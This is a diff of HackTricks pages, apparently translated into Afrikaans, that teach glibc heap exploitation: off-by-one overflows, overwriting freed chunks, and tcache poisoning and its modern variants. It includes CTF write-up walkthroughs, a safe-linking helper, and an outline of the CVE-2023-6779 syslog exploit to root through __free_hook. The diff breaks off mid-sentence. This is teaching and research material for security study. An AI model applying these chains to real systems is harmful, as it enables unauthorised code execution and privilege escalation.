+4. Kombineer met [Tcache bin attacks](tcache-bin-attack.md) om allocations na `__free_hook` of `tcache_perthread_struct`-entries te herlei sodra die forged pointer behoorlik encoded is.
+
+'n Minimale helper om die encode/decode-stap tydens debugging van moderne exploits te oefen:
+```python
+def protect(ptr, chunk_addr):
+return ptr ^ (chunk_addr >> 12)
+def reveal(encoded, chunk_addr):
+return encoded ^ (chunk_addr >> 12)
+
+chunk = 0x55555555c2c0
+encoded_fd = protect(0xdeadbeefcaf0, chunk)
+print(hex(reveal(encoded_fd, chunk))) # 0xdeadbeefcaf0
+```
+### Onlangse werklike teiken: glibc __vsyslog_internal off-by-one (CVE-2023-6779)
+
+- In Januarie 2024 het Qualys CVE-2023-6779 uiteengesit, ’n off-by-one binne `__vsyslog_internal()` wat geaktiveer word wanneer `syslog()/vsyslog()`-format strings `INT_MAX` oorskry, sodat die terminerende `\0` die least-significant `size`-byte van die volgende chunk op glibc 2.37–2.39-stelsels korrupteer ([Qualys advisory](https://www.qualys.com/2024/01/30/cve-2023-6246/syslog.txt)).[[1]](#references)
+- Hul Fedora 38 exploit pipeline:[[1]](#references)
+1. Skep ’n oorlang `openlog()` ident sodat `vasprintf` ’n heap-buffer langs attacker-controlled data terugstuur.
+2. Roep `syslog()` aan om die naburige chunk se `size | prev_inuse`-byte te beskadig, free dit, en forseer consolidation wat met attacker data oorvleuel.
+3. Gebruik die oorvleuelende view om `tcache_perthread_struct`-metadata te korrupteer en rig die volgende allocation na `__free_hook`, waar dit met `system`/’n one_gadget vir root oorskryf word.
+- Om die korrumperende write in ’n harness te reproduceer, fork met ’n reuseagtige `argv[0]`, roep `openlog(NULL, LOG_PID, LOG_USER)` aan en daarna `syslog(LOG_INFO, "%s", payload)`, waar `payload = b"A" * 0x7fffffff`; `pwndbg` se `heap bins` wys onmiddellik die single-byte overwrite.
+- Ubuntu volg die bug as [CVE-2023-6779](https://ubuntu.com/security/CVE-2023-6779), en dokumenteer dieselfde INT truncation wat dit ’n betroubare off-by-one primitive maak.[[2]](#references)
+
+## Ander voorbeelde
+
+- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)[[4]](#references)
+- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)[[5]](#references)
+- Off-by-one as gevolg van `strlen` wat die volgende chunk se `size`-field in ag neem.
+- Tcache word gebruik, dus werk ’n algemene off-by-one attack om ’n arbitrary write primitive met Tcache poisoning te verkry.[[5]](#references)
+- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)[[6]](#references)
+- Dit is moontlik om ’n address uit die heap te leak deur ’n off-by-one te misbruik, omdat die byte 0x00 aan die einde van ’n string deur die volgende field oorskryf word.
+- ’n Arbitrary write word verkry deur die off-by-one write te misbruik om die pointer na ’n ander plek te laat wys waar ’n fake struct met fake pointers gebou word. Daarna is dit moontlik om die pointer van hierdie struct te volg om arbitrary write te verkry.
+- Die libc address word geleak omdat, indien die heap met mmap uitgebrei word, die memory wat deur mmap geallokeer word, ’n vaste offset vanaf libc het.
+- Uiteindelik word die arbitrary write misbruik om na die address van `__free_hook` te skryf met ’n one gadget.[[6]](#references)
+- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)[[7]](#references)
+- Daar is ’n NULL off-by-one vulnerability in die `getline`-function wat user input lines lees. Hierdie function word gebruik om die "key" van die content te lees, nie die content nie.[[7]](#references)
+- In die writeup word 5 initial chunks geskep:
+- chunk1 (0x200)
+- chunk2 (0x50)
+- chunk5 (0x68)
+- chunk3 (0x1f8)
+- chunk4 (0xf0)
+- chunk defense (0x400) om consolidation met die top chunk te voorkom
+- Daarna word chunk 1, 5 en 3 gefree, dus:
+- ```python
+[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
+```
+- Daarna word chunk3 (0x1f8) misbruik en die null off-by-one word misbruik om die prev_size na `0x4e0` te skryf.
+- Let daarop dat die sizes van die aanvanklik geallokeerde chunks1, 2, 5 en 3 plus die headers van 4 van daardie chunks gelyk is aan `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
+- Daarna word chunk 4 gefree, wat ’n chunk skep wat al die chunks tot by die begin verbruik:
+- ```python
+[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
+```
+- ```python
+[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
+```
+- Daarna word `0x200` bytes geallokeer om die oorspronklike chunk 1 te vul.
+- ’n Tweede `0x200` allocation verbruik meer van die consolidated range. Die unsorted-bin metadata wat daaruit ontstaan, oorvleuel chunk 2, sodat die lees van chunk 2 ’n libc pointer bekend maak wat gebruik kan word om die libc base te bereken.[[7]](#references)
+- Daarna word nog ’n chunk met 0x58 "a"s geallokeer (wat chunk2 oorskryf en chunk5 bereik), en die `fd` van die fast bin chunk van chunk5 word gewysig sodat dit na `__malloc_hook` wys.
+- Daarna word ’n chunk van 0x68 geallokeer sodat die fake fast bin chunk in `__malloc_hook` die volgende fast bin chunk is.
+- Uiteindelik word ’n nuwe fast bin chunk van 0x68 geallokeer en `__malloc_hook` word met ’n `one_gadget` address oorskryf.
+
+## References
+
+- [1] [Qualys Security Advisory – CVE-2023-6246/6779/6780](https://www.qualys.com/2024/01/30/cve-2023-6246/syslog.txt)
+- [2] [Ubuntu Security – CVE-2023-6779](https://ubuntu.com/security/CVE-2023-6779)
+- [3] [Safe-Linking - Uitskakeling van ’n 20 jaar oue malloc exploit primitive](https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/)
+- [4] [Shrinking Free Chunks (heap-exploitation)](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
+- [5] [Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
+- [6] [Asis CTF 2016 b00ks](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
+- [7] [plaidctf 2015 plaiddb](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
+- [8] [CTF Wiki - Off-by-one heap overflow](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
index 117f462b60a..62de96de4ee 100644
--- a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
+++ b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
@@ -1,23 +1,172 @@
-# Overwriting a freed chunk
+# Oorskryf van ’n freed chunk
{{#include ../../banners/hacktricks-training.md}}
-Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access:
+Verskeie heap exploitation-tegnieke vereis dat jy **metadata wat glibc binne ’n chunk gestoor het nadat dit freed is, kan wysig**. Hierdie bladsy som die hoof bug classes op wat daardie primitive verskaf, asook wat gewoonlik daarna die moeite werd is om te corrupt.
+
+## Wat verander wanneer ’n chunk free word
+
+Ná `free()` word die user data van die chunk dikwels deur die allocator self hergebruik:
+
+- **Tcache / fastbin** chunks hergebruik die eerste qwords as singly linked list metadata:
+- `next` / `fd`: volgende free chunk in die lys
+- `key` in tcache: double-free detection field
+- **Unsorted / small / large bin** chunks stoor doubly linked list pointers:
+- `fd` / `bk`
+- vir large bins, ook `fd_nextsize` / `bk_nextsize`
+- Die chunk header (`size`, flags soos `prev_inuse`) word ook ’n teiken as die bug jou toelaat om dit te bereik.
+
+Daarom is “skryf in ’n freed chunk” gewoonlik nie interessant weens sy ou application data nie, maar omdat dit jou toelaat om die allocator metadata te corrupt wat later deur `malloc()` / `free()` gebruik sal word.
+
+## High-value targets binne ’n freed chunk
+
+- **Tcache `next` / fastbin `fd`** --> klassieke [Tcache Bin Attack](tcache-bin-attack.md) / fastbin poisoning primitive.
+- **Tcache `key`** --> nuttig om tcache double-free checks te omseil of te beïnvloed; in ouer glibc was dit ook direk nuttig om `tcache_perthread_struct` te bereik.
+- **Small-bin / unsorted-bin `bk`** --> nuttig wanneer die exploitation path op unlinking staatmaak, of op die verskuiwing van small-bin chunks na tcache (byvoorbeeld tcache stashing unlink style attacks).
+- **Large-bin `bk_nextsize` / `fd_nextsize`** --> follow-up primitive vir [Large Bin Attack](large-bin-attack.md).
+- **Chunk `size` / `prev_size` / `prev_inuse`** --> overlap/consolidation primitive wat dikwels ’n second-stage write in ’n freed chunk word.
+
+## Algemene bug classes wat hierdie primitive verskaf
### Simple Use After Free
-If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers.
+As dit vir die attacker moontlik is om **in ’n chunk te skryf nadat dit freed is**, is die primitive gewoonlik direk: free ’n chunk, behou die dangling pointer, en wysig die allocator metadata wat nou daar woon.
+
+Dit is veral sterk met tcache-sized chunks omdat die eerste 16 bytes die ekwivalent word van:
+```c
+struct tcache_entry {
+struct tcache_entry *next;
+uintptr_t key;
+};
+```
+Dit beteken dat ’n gewone edit-after-free onmiddellik kan verander in:
+
+- **Arbitrary allocation** deur `next` te korrupteer
+- **Double-free check bypass / metadata abuse** deur `key` te korrupteer
+- **Heap leak recovery** deur mangled pointers uit die freed entry te lees voordat hulle oorgeskryf word
+
+Weergawe-aantekeninge:
+
+- **glibc 2.32+** het **safe-linking** bygevoeg, dus benodig ’n vervalste `next` / `fd` gewoonlik ’n heap leak of ’n ander bypass voordat `malloc()` dit sal aanvaar.
+- **glibc 2.29 - 2.33** het ’n besonder sterk teiken in die tcache `key`-veld blootgestel omdat dit na `tcache_perthread_struct` gewys het (House of IO style abuse).
+- **glibc 2.34+** het daardie gedrag verander, dus verskuif moderne UAF chains meer algemeen na **House of Water / metadata control**, leak-and-poison, of application-specific overwrites, eerder as om op die ou tcache-key trick staat te maak.[[2]](#references)
+
+’n Baie algemene moderne sequence is eintlik **read-after-free first, write-after-free second**:
+
+1. Free ’n tcache chunk en lees die eerste qword terug.
+2. Herwin heap bits of decode die protected pointer volledig.
+3. Encode die werklike target weer en poison eers daarna die freelist.
+
+Vir ’n tcache entry word die stored forward pointer beskerm met die adres waar dit gestoor word:
+```c
+stored_next = target ^ (((size_t) &entry->next) >> 12);
+```
+Daarom is 'n **read** van 'n freed chunk dikwels net so waardevol soos 'n **write** na 'n freed chunk. As die bug jou toelaat om die freed entry te druk of dit op 'n ander manier te inspekteer voordat jy dit herskryf, kan jy moontlik die heap base herwin (of 'n `decrypt_safe_linking`-style helper gebruik) en 'n geblokkeerde UAF in 'n geldige moderne poisoning primitive omskep.[[1]](#references)
+
+As jy die attack details benodig nadat jy die primitive verkry het, gaan voort na:
+
+{{#ref}}
+tcache-bin-attack.md
+{{#endref}}
### Double Free
-If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...)
+As die attacker dieselfde chunk twee keer kan **`free`** (soms nadat hy intussen 'n ander chunk gefree het), kan die allocator later dieselfde fisiese chunk verskeie kere uitdeel. Sodra twee aktiewe pointers na dieselfde streek verwys, kan een van hulle gebruik word om die metadata van die ander te herskryf nadat dit weer gefree is.
+
+Histories was dit die klassieke roete na tcache/fastbin poisoning, maar moderne glibc het die landskap verander:
+
+- Ou **tcache dup**-style chains was maklik op vroeë tcache-weergawes.
+- Moderne glibc doen sterker **tcache double-free detection**, dus benodig huidige exploits dikwels 'n bypass soos **House of Botcake**, key corruption, of 'n overlap wat die victim chunk deur 'n ander path herintroduceer.
+- Die waarde van die primitive bly dieselfde: herwin **write access tot 'n freed freelist entry** en korrupteer dan die allocator pointers wat op die volgende `malloc()` gebruik sal word.
+
+As die root bug 'n double free is, is die toegewyde bladsy hier:
+
+{{#ref}}
+double-free.md
+{{#endref}}
### Heap Overflow
-It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it.
+Dit kan moontlik wees om 'n **allocated chunk in 'n aangrensende freed chunk te overflow** en sy metadata te wysig.
+
+Dit is een van die mees praktiese primitives in werklike exploits omdat jy dikwels **nie die hele freed chunk hoef te beheer nie**:
+
+- Deur slegs die eerste qword van 'n freed **tcache** chunk te oorskryf, kan genoeg wees om `next` te poison
+- Deur `bk` van 'n freed **small-bin** chunk te oorskryf, kan genoeg wees vir 'n stashing/unlink-style follow-up
+- Deur die header van 'n neighbour te oorskryf, kan **consolidation** of **overlap** geskep word, wat later skoner toegang tot 'n freed entry gee
+
+In moderne glibc word 'n heap overflow in 'n freed chunk dikwels 'n **two-step chain**:
+
+1. Skep of herwin 'n overlapping view van die freed chunk.
+2. Herskryf die presiese freelist pointers of metadata fields wat deur die volgende allocator-aksie benodig word.
+
+Sien ook:
+
+- [Heap Overflow](heap-overflow.md)
+- [Unlink Attack](unlink-attack.md)
+- [Large Bin Attack](large-bin-attack.md)
### Off-by-one overflow
-In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section).
+Met 'n one-byte overflow is dit dikwels nie moontlik om 'n volledige freelist pointer direk te herskryf nie, maar dit is steeds genoeg om **chunk size metadata te korrupteer** en uiteindelik write access tot 'n freed chunk te verkry.
+
+'n Algemene pattern is:
+
+1. Flip die low byte van die volgende chunk se `size`
+2. Free een of meer chunks sodat glibc hulle konsolideer of verkeerd klassifiseer
+3. Allocate die overlapped region weer
+4. Gebruik die nuwe overlap om die metadata van 'n chunk wat steeds gefree is, te wysig
+
+Dit is waarom off-by-one bugs dikwels slegs die **eerste stage** is en die werklike kragtige primitive later verskyn as:
+
+- overlapping chunks,
+- 'n reintroduced double free condition, of
+- 'n skoon write na 'n freed tcache/small-bin entry.
+
+In moderne glibc, sodra daardie overlap verkry is, is die oorblywende probleem gewoonlik **safe-linking**: jy kan moontlik 'n freed tcache entry bereik, maar jy benodig steeds óf 'n geldige encoded pointer, 'n heap leak, óf 'n metadata-centric bypass.
+
+Sien meer details hier:
+
+{{#ref}}
+off-by-one-overflow.md
+{{#endref}}
+
+## Praktiese moderne notas
+
+- Op **safe-linked** targets is “ek kan in 'n freed tcache chunk skryf” nie meer dieselfde as “ek het onmiddellik arbitrary allocation” nie. Verifieer eers of jy ook **die heap kan leak**, **'n protected pointer kan decode**, of eerder na **tcache metadata** kan pivot in plaas daarvan om 'n raw `next` te forge.
+- As die freed chunk in **small/unsorted/large bins** in plaas van tcache is, is die beste follow-up dikwels **nie** klassieke tcache poisoning nie, maar om die doubly linked metadata op die volgende allocator transition te abuse.
+- Sommige onlangse techniques vermy spesifiek die forging van protected freelist pointers en fokus eerder op **metadata corruption** (`tcache_perthread_struct`, bin counters, stashing paths, large-bin side pointers).
+- Op onlangse glibc, moenie blindelings aanvaar dat “large chunk == unsorted/small/large bin” nie: deur `glibc.malloc.tcache_max` te verhoog, kan veel groter frees binne tcache gehou word, dus moet jy altyd die werklike runtime state inspekteer terwyl jy die exploit ontwikkel.[[3]](#references)
+
+## Vinnige triage op moderne glibc
+
+Wanneer jy bevestig dat jy 'n freed chunk kan oorskryf, beantwoord eers hierdie vrae:
+
+- **Het die free werklik in tcache beland?** Op onlangse glibc kan `glibc.malloc.tcache_max` veel hoër as die ou default ceiling gestel word, dus kan 'n chunk wat jy verwag het om die unsorted path te bereik, steeds gecache word.[[3]](#references)
+- **Kan jy die freed bytes lees voordat jy hulle herskryf?** Indien wel, leak eers; die gestoor tcache/fastbin pointer is dikwels die skoonste pad na 'n heap base of na 'n geldige safe-linked poison value.
+- **Beheer jy slegs 'n low byte of twee?** Dan is `size` / `prev_inuse` / `bk` corruption dikwels 'n beter roete as om dadelik 'n volledige protected `next` te probeer forge.
+- **Kan jy allocator metadata bereik in plaas van een freelist node?** Onlangse chains soos **House of Water**, **safe-link double protect**, of **tcache stashing unlink** is dikwels sterker as single-entry poisoning omdat hulle na `tcache_perthread_struct` pivot of glibc 'n reeds-gemanipuleerde pointer deur 'n ander path laat consume.[[1]](#references)[[2]](#references)
+
+Vir plaaslike research is dit dikwels nuttig om die allocator te dwing om die klassieke paths te volg, sodat jy kan verstaan waaraan jou primitive werklik raak:
+```bash
+GLIBC_TUNABLES=glibc.malloc.tcache_count=0 ./vuln
+GLIBC_TUNABLES=glibc.malloc.tcache_max=1032 ./vuln
+```
+Dit beskryf nie die remote target op sigself nie, maar dit is ’n baie praktiese manier om te onderskei tussen “my bug korrupteer ’n tcache entry” en “my bug is eers bruikbaar wanneer die chunk unsorted/small/large bins bereik”.
+
+## Tipiese opvolgaanvalle nadat die primitive verkry is
+
+- [Tcache Bin Attack](tcache-bin-attack.md)
+- [Fast Bin Attack](fast-bin-attack.md)
+- [Unsorted Bin Attack](unsorted-bin-attack.md)
+- [Large Bin Attack](large-bin-attack.md)
+- [House of Einherjar](house-of-einherjar.md)
+- [Use After Free](use-after-free/README.md)
+
+## Verwysings
+
+- [1] [how2heap – shellphish's glibc heap exploitation examples](https://github.com/shellphish/how2heap)
+- [2] [House of Water: a leakless glibc heap exploitation technique](https://corgi.rip/posts/leakless_heap_1/)
+- [3] [glibc NEWS: tcache large-block caching support (glibc.malloc.tcache_max) – libc-alpha mailing list](https://sourceware.org/pipermail/libc-alpha/2025-July/168496.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md
index 7c69db95c33..0bbf260b79f 100644
--- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md
@@ -2,46 +2,171 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-For more information about what is a Tcache bin check this page:
+Vir meer inligting oor wat 'n Tcache bin is, kyk na hierdie bladsy:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
-First of all, note that the Tcache was introduced in Glibc version 2.26.
+Die **Tcache attack** (ook bekend as **Tcache poisoning**) is die tcache-ekwivalent van 'n fast-bin attack: die aanvaller korrupteer die `next`-pointer wat in 'n vrygestelde tcache-entry gestoor is, sodat 'n latere `malloc()` 'n **adres wat deur die aanvaller gekies is** terugstuur.
-The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**.
+Hierdie primitive is slegs nuttig indien die aanvaller eers **in 'n vrygestelde chunk kan skryf**. Algemene maniere om hierdie primitive te verkry, word hier verduidelik:
-However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned).
+{{#ref}}
+overwriting-a-freed-chunk.md
+{{#endref}}
+
+Histories is dit saam met tcache in **glibc 2.26** bekendgestel en was dit aanvanklik baie maklik om te exploit. Moderne glibc het verskeie checks bygevoeg, dus is die attack steeds relevant, maar dit hang nou baie meer van die teikenweergawe en die primitive waarmee jy begin af.
+
+### Moderne beperkings
+
+- **glibc 2.29+** het sterker tcache **double-free detection** bygevoeg deur die `key`-field te gebruik wat binne 'n vrygestelde `tcache_entry` gestoor word. 'n Eenvoudige `free(A); free(B); free(A);` veroorsaak gewoonlik nou 'n abort, tensy die `key`-check omseil word of die chunk deur 'n ander pad heringestel word.
+- **glibc 2.32+** het **safe-linking** by singly-linked allocator lists (`tcache` en `fastbins`) gevoeg. Die gestoor `next`-pointer is nie langer raw nie, maar word gemangle as:
+```c
+stored_next = target ^ (address_of_next_field >> 12)
+```
+Daarom benodig moderne tcache poisoning gewoonlik óf:
+- ’n **heap leak** om die beskermde pointer korrek te bereken, óf
+- ’n ander primitive wat safe-linking omseil/misbruik in plaas daarvan om die pointer direk te vervals.[[1]](#references)
+- **Alignment checks** het ook strenger geword, en daarom veroorsaak ’n verkeerde poisoned pointer nou dikwels ’n crash met **`malloc(): unaligned tcache chunk detected`**.
+- **glibc 2.34+** het die ou malloc hooks uit die aktiewe API verwyder, dus moet klassieke einddoelwitte soos die oorskryf van `__malloc_hook` / `__free_hook` as **version-specific legacy targets** beskou word, nie as die verstek moderne resultaat nie.
+
+In die praktyk is die moderne einddoel gewoonlik een van die volgende:
+
+- Gee ’n chunk terug bo-op ’n ander **heap object** om arbitrêre lees/skryf te verkry.
+- Gee ’n chunk terug op ’n **writable global / application structure** en korrupteer later ’n code pointer wat deur die program gebruik word.
+- Gee ’n chunk terug bo-op ’n struktuur wat later vir **FSOP**, **ROP**, of ’n ander post-write primitive misbruik word.
+
+### Hoe ’n poisoned tcache entry lyk
+
+’n Gefree’de tcache chunk word as ’n `tcache_entry` hergebruik:
+```c
+struct tcache_entry {
+struct tcache_entry *next;
+uintptr_t key;
+};
+```
+Dus, nadat 'n chunk vrygestel is, word die eerste qword van sy user data die singly-linked-list pointer, en die volgende qword word vir die double-free check gebruik. As die vulnerability jou toelaat om enigeen van hulle te overwrite, kan jy dit dikwels omskep in:
+- **Arbitrary allocation** deur `next` te korrupteer
+- **Double-free bypass** deur `key` te korrupteer
+
+### Basic modern poisoning flow
+
+1. Verkry 'n primitive waarmee jy 'n **freed chunk** kan **edit**.
+2. Free 'n chunk van die target tcache-grootte.
+3. Leak of lei die freed chunk se address af indien safe-linking enabled is.
+4. Overwrite sy `next` pointer met die **mangled** weergawe van die target address.
+5. Allocate een keer om die corrupted entry te consume.
+6. Allocate weer om 'n chunk by die gekose target terug te kry.
+
+Vir glibc 2.32+ is die forged value tipies:
+```c
+fake_next = target ^ (address_of_victim_next_field >> 12)
+```
+As die teruggestuurde pointer nie volgens die allocator se verwagtinge belyn is nie, sal `malloc()` gewoonlik aborteer voordat jy beheer kry.
+
+### Praktiese weergawenotas
+
+- Moderne PoCs hou gewoonlik **ten minste twee vrygestelde entries** in die teiken se tcache bin voordat dit vergiftig word (`free(a); free(b); overwrite b->next`) eerder as om ’n lys met een element te korrupteer. Dit stem beter ooreen met huidige glibc-gedrag en vermy brose demos met een chunk.
+- Op **glibc 2.42+** kan tcache opsioneel **baie groter chunks** cache as die omgewing `glibc.malloc.tcache_max` verhoog. Aannames soos "groter as `0x410` bereik unsorted/small/large bins" is dus nie meer universeel geldig op aangepaste teikens nie.[[3]](#references)
+- As ’n plaaslike lab onverwags groot chunks binne tcache hou, vul óf eers daardie tcache bin óf forseer tydelik die klassieke allocator-paaie terwyl jy debug:
+```bash
+GLIBC_TUNABLES=glibc.malloc.tcache_count=0 ./binary
+GLIBC_TUNABLES=glibc.malloc.tcache_max=1032 ./binary
+```
### Tcache indexes attack
-Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case.
-
-## Examples
-
-- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- - **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**.
- - **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\
- We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**.
-- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- - **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one)
- - **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell.
-- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- - The main vuln here is the capacity to `free` any address in the heap by indicating its offset
- - **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100.
- - Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**.
- - Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\
- For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell.
-- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- - Same vulnerability as before with one extra restriction
- - **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it.
-- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- - **Write After Free** to add a number to the `fd` pointer.
- - A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy.
- - **Glibc leak** through `stdout` (FSOP).
- - **Tcache poisoning** to get an arbitrary write primitive.
+Gewoonlik is dit moontlik om aan die begin van die heap 'n chunk te vind wat die **aantal chunks per index** binne die tcache en die adres van die **head chunk van elke tcache index** bevat. As dit om een of ander rede moontlik is om hierdie inligting te wysig, sou dit moontlik wees om die **head chunk van een of ander index na 'n gewenste adres te laat wys**, sodat die allokering van 'n chunk met die ooreenstemmende grootte daardie beheerde adres teruggee.
+
+Dit is kragtig omdat dit nie net een vrygestelde entry poison nie: dit korrupteer die **per-thread tcache metadata** self, wat jou in staat kan stel om verskeie size classes gelyktydig te pivot.
+
+### Metadata-centric tcache attacks
+
+As jy die `tcache_perthread_struct` self kan bereik, is die poisoning van die **metadata** gewoonlik sterker as die korrupsie van 'n enkele vrygestelde chunk: 'n write na `entries[idx]` kan toekomstige allokerings van daardie size class herteiken, en 'n write na `counts[idx]` kan glibc laat glo dat gecachede chunks bestaan wanneer dit nie behoort nie.
+
+Nuttige moderne variante om te herken:
+
+- **House of Water**: verander 'n UAF/overflow in **beheer oor `tcache_perthread_struct`** en is 'n goeie moderne antwoord wanneer safe-linking direkte freelist poisoning moeilik maak.
+- **Safe-link double protect**: geselekteerde allocator-paaie kan 'n reeds beskermde waarde weer beskerm. Die tegniek rangskik die pointer-posisies sodat die relevante XOR masks kanselleer of in die vereiste waarde transformeer; dit is nie genoeg om enige beskermde pointer twee keer te XOR nie, omdat `PROTECT_PTR` sy mask van die storage-adres aflei.[[2]](#references)
+- **Tcache relative write**: as jy eers allocator-parameters soos `mp_.tcache_bins` kan korrupteer, kan glibc oversized `tc_idx`-waardes bereken en **tcache metadata buite perke** in latere heap-geheue skryf.
+- **glibc 2.42 metadata hijacking**: onlangse how2heap-notas wys dat `tcache_perthread_struct` later geïnitialiseer kan word en nie meer noodwendig die eerste heap-allokering is nie. Dus kan 'n overflow/UAF op 'n groot vroeëre chunk direk `entries[]` oorskryf en veroorsaak dat die volgende klein `malloc()` 'n aanvallergekose adres teruggee.[[2]](#references)
+
+### Modern variants worth knowing
+
+#### House of Botcake
+
+Dit is die standaard moderne antwoord wanneer die ou tcache double-free nie meer werk nie. Die idee is om **overlap/consolidation met die unsorted bin** te gebruik sodat die victim chunk beide vanaf die tcache bereikbaar is en deel van 'n groter vrygestelde area vorm. Nadat toegang tot die overlappende geheue herwin is, poison jy die tcache entry soos gewoonlik.
+
+Dit is veral nuttig op moderne glibc wanneer jy het:
+
